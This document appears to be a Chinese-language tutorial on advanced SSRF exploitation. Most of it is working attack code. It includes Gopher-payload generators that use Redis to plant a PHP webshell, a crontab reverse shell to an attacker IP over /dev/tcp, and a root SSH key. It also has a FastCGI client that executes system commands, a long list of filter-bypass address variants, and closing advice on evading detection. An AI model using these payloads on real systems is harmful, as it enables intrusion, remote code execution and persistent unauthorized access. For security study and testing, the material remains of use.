SSRF高级利用技术

Gopher协议利用

Gopher协议基础

Gopher协议是一种信息查找系统,在WWW出现之前是Internet上最主要的信息检索工具。Gopher协议使用TCP 70端口,只支持文本,不支持图像。虽然现在基本过时,但在SSRF漏洞利用中,Gopher协议却是”万金油”,因为可以使用它发送任意TCP数据流。

协议格式

Gopher协议的基本格式如下:

1
gopher://IP:port/_TCP/IP数据流

注意事项:

  • _不会被显示
  • URL编码使用%0d%0a替换字符串中的回车换行
  • 数据流末尾使用%0d%0a代表消息结束

发送HTTP请求

GET请求

1
2
3
4
5
6
7
8
9
10
import urllib

# 构造HTTP GET请求
http_request = "GET /index.php?param=test HTTP/1.1\r\n"
http_request += "Host: 192.168.1.100\r\n"
http_request += "\r\n"

# URL编码
payload = "gopher://192.168.1.100:80/_" + urllib.quote(http_request)
print(payload)

生成的Payload:

1
gopher://192.168.1.100:80/_GET%20/index.php%3fparam%3dtest%20HTTP/1.1%0d%0aHost%3a%20192.168.1.100%0d%0a%0d%0a

POST请求

1
2
3
4
5
6
7
8
9
10
11
12
13
import urllib

# 构造HTTP POST请求
http_request = "POST /login.php HTTP/1.1\r\n"
http_request += "Host: 192.168.1.100\r\n"
http_request += "Content-Type: application/x-www-form-urlencoded\r\n"
http_request += "Content-Length: 23\r\n"
http_request += "\r\n"
http_request += "username=admin&password=123456\r\n"

# URL编码
payload = "gopher://192.168.1.100:80/_" + urllib.quote(http_request)
print(payload)

生成的Payload:

1
gopher://192.168.1.100:80/_POST%20/login.php%20HTTP/1.1%0d%0aHost%3a%20192.168.1.100%0d%0aContent-Type%3a%20application/x-www-form-urlencoded%0d%0aContent-Length%3a%2023%0d%0a%0d%0ausername%3dadmin%26password%3d123456%0d%0a

攻击Redis

Redis是一个内存数据结构存储,使用基于文本的协议。通过SSRF漏洞,我们可以使用Gopher协议攻击Redis服务。

Redis协议格式

Redis使用RESP(REdis Serialization Protocol)协议,支持两种格式:

  1. 非RESP格式:使用空格作为分隔符
  2. RESP格式:推荐格式,可以避免特殊字符问题

RESP格式示例:

1
*1\r\n$4\r\nPING\r\n

解释:

  • *1:表示数组,包含1个元素
  • $4:表示字符串,长度为4
  • PING:字符串内容

写入Webshell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import urllib

protocol = "gopher://"
ip = "192.168.1.100"
port = "6379"
shell = "\n\n<?php system($_GET['cmd']);?>\n\n"
filename = "shell.php"
path = "/var/www/html"

# Redis命令
cmd = [
"flushall",
"set 1 {}".format(shell.replace(" ", "${IFS}")),
"config set dir {}".format(path),
"config set dbfilename {}".format(filename),
"save"
]

payload = protocol + ip + ":" + port + "/_"

def redis_format(arr):
CRLF = "\r\n"
redis_arr = arr.split(" ")
cmd = ""
cmd += "*" + str(len(redis_arr))
for x in redis_arr:
cmd += CRLF + "$" + str(len((x.replace("${IFS}", " ")))) + CRLF + x.replace("${IFS}", " ")
cmd += CRLF
return cmd

for x in cmd:
payload += urllib.quote(redis_format(x))

print(payload)

生成的Payload:

1
gopher://192.168.1.100:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2434%0D%0A%0A%0A%3C%3Fphp%20system%28%24_GET%5B%27cmd%27%5D%29%3B%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2415%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A

写入Crontab反弹Shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
import urllib

protocol = "gopher://"
ip = "192.168.1.100"
port = "6379"
reverse_ip = "192.168.1.200"
reverse_port = "4444"

# Crontab反弹shell命令
cron_cmd = "\n\n*/1 * * * * /bin/bash -c 'sh -i >& /dev/tcp/{} {} 0>&1'\n\n".format(reverse_ip, reverse_port)

cmd = [
"flushall",
"set 1 {}".format(cron_cmd),
"config set dir /var/spool/cron",
"config set dbfilename root",
"save"
]

payload = protocol + ip + ":" + port + "/_"

def redis_format(arr):
CRLF = "\r\n"
redis_arr = arr.split(" ")
cmd = ""
cmd += "*" + str(len(redis_arr))
for x in redis_arr:
cmd += CRLF + "$" + str(len((x.replace("${IFS}", " ")))) + CRLF + x.replace("${IFS}", " ")
cmd += CRLF
return cmd

for x in cmd:
payload += urllib.quote(redis_format(x))

print(payload)

写入SSH公钥

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import urllib

protocol = "gopher://"
ip = "192.168.1.100"
port = "6379"
ssh_key = "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC..."

cmd = [
"flushall",
"set 1 \"\\n\\n{}\\n\\n\"".format(ssh_key),
"config set dir /root/.ssh",
"config set dbfilename authorized_keys",
"save"
]

payload = protocol + ip + ":" + port + "/_"

def redis_format(arr):
CRLF = "\r\n"
redis_arr = arr.split(" ")
cmd = ""
cmd += "*" + str(len(redis_arr))
for x in redis_arr:
cmd += CRLF + "$" + str(len((x.replace("${IFS}", " ")))) + CRLF + x.replace("${IFS}", " ")
cmd += CRLF
return cmd

for x in cmd:
payload += urllib.quote(redis_format(x))

print(payload)

攻击FastCGI

FastCGI是Web服务器与语言后端通信的协议,PHP-FPM是FastCGI协议的具体实现。通过SSRF漏洞,我们可以使用Gopher协议攻击PHP-FPM服务。

FastCGI协议结构

FastCGI协议由多个Record组成,每个Record包含Header和Body:

1
2
3
4
5
6
7
8
9
10
11
12
13
typedef struct {
unsigned char version; // 版本
unsigned char type; // Record类型
unsigned char requestIdB1; // 请求ID
unsigned char requestIdB0;
unsigned char contentLengthB1; // Body长度
unsigned char contentLengthB0;
unsigned char paddingLength; // 额外块大小
unsigned char reserved; // 保留

unsigned char contentData[contentLength];
unsigned char paddingData[paddingLength];
} FCGI_Record;

FastCGI Type类型

Type值类型名称说明
1BEGIN_REQUEST开始请求
2ABORT_REQUEST中止请求
3END_REQUEST结束请求
4PARAMS环境变量
5STDIN标准输入
6STDOUT标准输出
7STDERR标准错误

环境变量结构

FastCGI的环境变量使用FCGI_NameValuePair结构:

1
2
3
4
5
6
typedef struct {
unsigned char nameLengthB0;
unsigned char valueLengthB0;
unsigned char nameData[nameLength];
unsigned char valueData[valueLength];
} FCGI_NameValuePair11;

构造FastCGI攻击Payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
import socket
import struct

class FastCGIClient:
"""FastCGI客户端"""

def __init__(self, host, port, timeout=10):
self.host = host
self.port = int(port)
self.timeout = timeout
self.sock = None

def connect(self):
self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.sock.settimeout(self.timeout)
self.sock.connect((self.host, self.port))

def __packFastCGIRecord(self, type, content, requestId=1):
"""打包FastCGI Record"""
length = len(content)
padding = 8 - (length % 8) if length % 8 != 0 else 0

header = struct.pack("!BBHHBx", 1, type, requestId, length, padding)
return header + content + b"\x00" * padding

def __packNameValuePair(self, name, value):
"""打包环境变量"""
nLen = len(name)
vLen = len(value)
record = b""

if nLen < 128:
record += struct.pack("!B", nLen)
else:
record += struct.pack("!BI", 0x80, nLen)

if vLen < 128:
record += struct.pack("!B", vLen)
else:
record += struct.pack("!BI", 0x80, vLen)

return record + name.encode() + value.encode()

def prepareEnvMap(self, environ):
"""准备环境变量"""
params = b""
for name, value in environ.items():
params += self.__packNameValuePair(name, value)
return params

def request(self, environ, postData=""):
"""发送FastCGI请求"""
self.connect()

# 发送BEGIN_REQUEST
beginRequestBody = struct.pack("!HB5x", 1, 0)
self.sock.send(self.__packFastCGIRecord(1, beginRequestBody))

# 发送环境变量
params = self.prepareEnvMap(environ)
self.sock.send(self.__packFastCGIRecord(4, params))

# 发送空的环境变量表示结束
self.sock.send(self.__packFastCGIRecord(4, b""))

# 发送POST数据
if postData:
self.sock.send(self.__packFastCGIRecord(5, postData.encode()))

# 发送空的STDIN表示结束
self.sock.send(self.__packFastCGIRecord(5, b""))

# 接收响应
response = b""
while True:
data = self.sock.recv(4096)
if not data:
break
response += data

self.sock.close()
return response.decode()

# 使用示例
if __name__ == "__main__":
client = FastCGIClient("127.0.0.1", 9000)

# 构造环境变量
environ = {
'GATEWAY_INTERFACE': 'FastCGI/1.0',
'REQUEST_METHOD': 'GET',
'SCRIPT_FILENAME': '/var/www/html/index.php',
'SCRIPT_NAME': '/index.php',
'QUERY_STRING': '',
'REQUEST_URI': '/index.php',
'DOCUMENT_ROOT': '/var/www/html',
'SERVER_SOFTWARE': 'php/fcgiclient',
'REMOTE_ADDR': '127.0.0.1',
'REMOTE_PORT': '12345',
'SERVER_ADDR': '127.0.0.1',
'SERVER_PORT': '80',
'SERVER_NAME': 'localhost',
'SERVER_PROTOCOL': 'HTTP/1.1',
'PHP_VALUE': 'auto_prepend_file = php://input',
'PHP_ADMIN_VALUE': 'allow_url_include = On'
}

# 构造恶意代码
php_code = "<?php system('whoami'); ?>"

# 发送请求
response = client.request(environ, php_code)
print(response)

使用Gopherus工具

Gopherus是一个自动化生成SSRF攻击Payload的工具:

1
2
3
4
5
6
7
8
9
10
11
12
13
# 安装Gopherus
git clone https://github.com/tarunkant/Gopherus.git
cd Gopherus
python2 gopherus.py --help

# 攻击FastCGI
python2 gopherus.py --exploit fastcgi

# 攻击Redis
python2 gopherus.py --exploit redis

# 攻击MySQL
python2 gopherus.py --exploit mysql

攻击MySQL

MySQL使用基于文本的协议,通过SSRF漏洞可以读取MySQL数据。

MySQL协议基础

MySQL协议使用TCP 3306端口,通信过程包括握手、认证、命令执行等阶段。

使用Dict协议探测MySQL

1
2
3
4
5
6
<?php
$url = "dict://localhost:3306";
$ch = curl_init($url);
curl_exec($ch);
curl_close($ch);
?>

虽然返回的数据可能乱码,但可以读取到MySQL的版本号等信息。

SSRF绕过技术

URL解析差异

利用不同编程语言对URL的处理标准来绕过SSRF过滤。

点分割符号替换

1
2
3
http://www。qq。com
http://www。qq。com
http://www.qq.com

本地回环地址变体

1
2
3
4
5
6
7
8
9
http://127.0.0.1
http://localhost
http://127.255.255.254
http://[::1]
http://[::ffff:7f00:1]
http://[::ffff:127.0.0.1]
http://127.1
http://127.0.1
http://0:80

IP的进制转换

IP地址是一个32位的二进制数,通常被分割为4个8位二进制数。IP地址的每一段可以用其他进制来转换。

1
2
3
4
5
6
7
8
9
10
11
# 十进制
http://2130706433 # 127.0.0.1

# 八进制
http://0177.0.0.1

# 十六进制
http://0x7f.0.0.1

# 混合进制
http://0x7f.0.0.1

封闭式字母数字字符

使用Unicode印刷符号块替换域名中的字母:

1
2
ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜ  >>>  example.com
①⑦②.①⑥.⑥⓪.①⑥⑥ >>> 172.16.60.166

URL十六进制编码

1
2
3
4
5
6
7
#-*- coding:utf-8 -*- 
data = "www.qq.com";
alist = []
for x in data:
for i in range(0, len(x), 2):
alist.append((x[i:i+2]).encode('hex'))
print "http://%"+'%'.join(alist)

重定向绕过

30X重定向

使用重定向来让服务器访问目标地址:

1
2
3
4
<?php 
header("Location: http://192.168.1.10");
exit();
?>

DNS解析

配置域名的DNS解析到目标地址:

1
2
3
4
5
nslookup 127.0.0.1.nip.io

# xip.io泛域名服务
http://10.0.0.1.xip.io = 10.0.0.1
www.10.0.0.1.xip.io = 10.0.0.1

网址缩短

使用网址缩短服务:

1
2
https://www.985.so/
https://www.urlc.cn/

CRLF注入

在某些情况下,可以通过CRLF注入绕过SSRF过滤:

1
2
3
4
5
# 在HTTP方法中注入CRLF
method = "GET\r\nSET key value\r\n"

# 在Authorization头中注入CRLF
authorization = "\r\nSET key value\r\n"

实战案例

案例1:CTF题目 - ssrfme

题目源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
highlight_file(__file__);
function curl($url){
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 0);
echo curl_exec($ch);
curl_close($ch);
}

if(isset($_GET['url'])){
$url = $_GET['url'];

if(preg_match('/file\:\/\/|dict\:\/\/|\.\.\/|127.0.0.1|localhost/is', $url,$match))
{
die('No, No, No!');
}
curl($url);
}
if(isset($_GET['info'])){
phpinfo();
}
?>

利用步骤:

  1. 通过phpinfo获取内网IP
  2. 探测内网存活主机
  3. 扫描开放端口
  4. 发现Redis服务
  5. 利用gopher协议攻击Redis
  6. 写入webshell获取flag

案例2:Apache mod_proxy SSRF (CVE-2021-40438)

漏洞原理:Apache mod_proxy模块在处理Unix套接字URL时存在漏洞,攻击者可以通过构造特殊的URL绕过限制发起SSRF攻击。

利用Payload:

1
GET /?unix:{'A'*5000}|http://example.com/ HTTP/1.1

工具推荐

SSRFmap

自动化SSRF攻击工具:

1
2
python ssrfmap.py -u "http://target.com/?url=http://example.com" -m portscan
python ssrfmap.py -u "http://target.com/?url=http://example.com" -m redis

SSRF-Testing

SSRF绕过测试工具:

1
python ssrf-testing.py -u "http://target.com/?url=http://example.com"

redis-over-gopher

将请求转换为gopher协议格式:

1
python redis-over-gopher.py -h 127.0.0.1 -p 6379 -c "SET key value"

总结

SSRF高级利用技术主要包括:

  1. Gopher协议攻击:可以攻击Redis、FastCGI、MySQL等多种服务
  2. SSRF绕过技术:利用URL解析差异、重定向、DNS解析等方式绕过过滤
  3. 自动化工具:使用SSRFmap、Gopherus等工具提高攻击效率

在实际攻击中,需要根据目标环境的特点选择合适的攻击方式和绕过技术。同时,要注意防御措施,避免被检测到。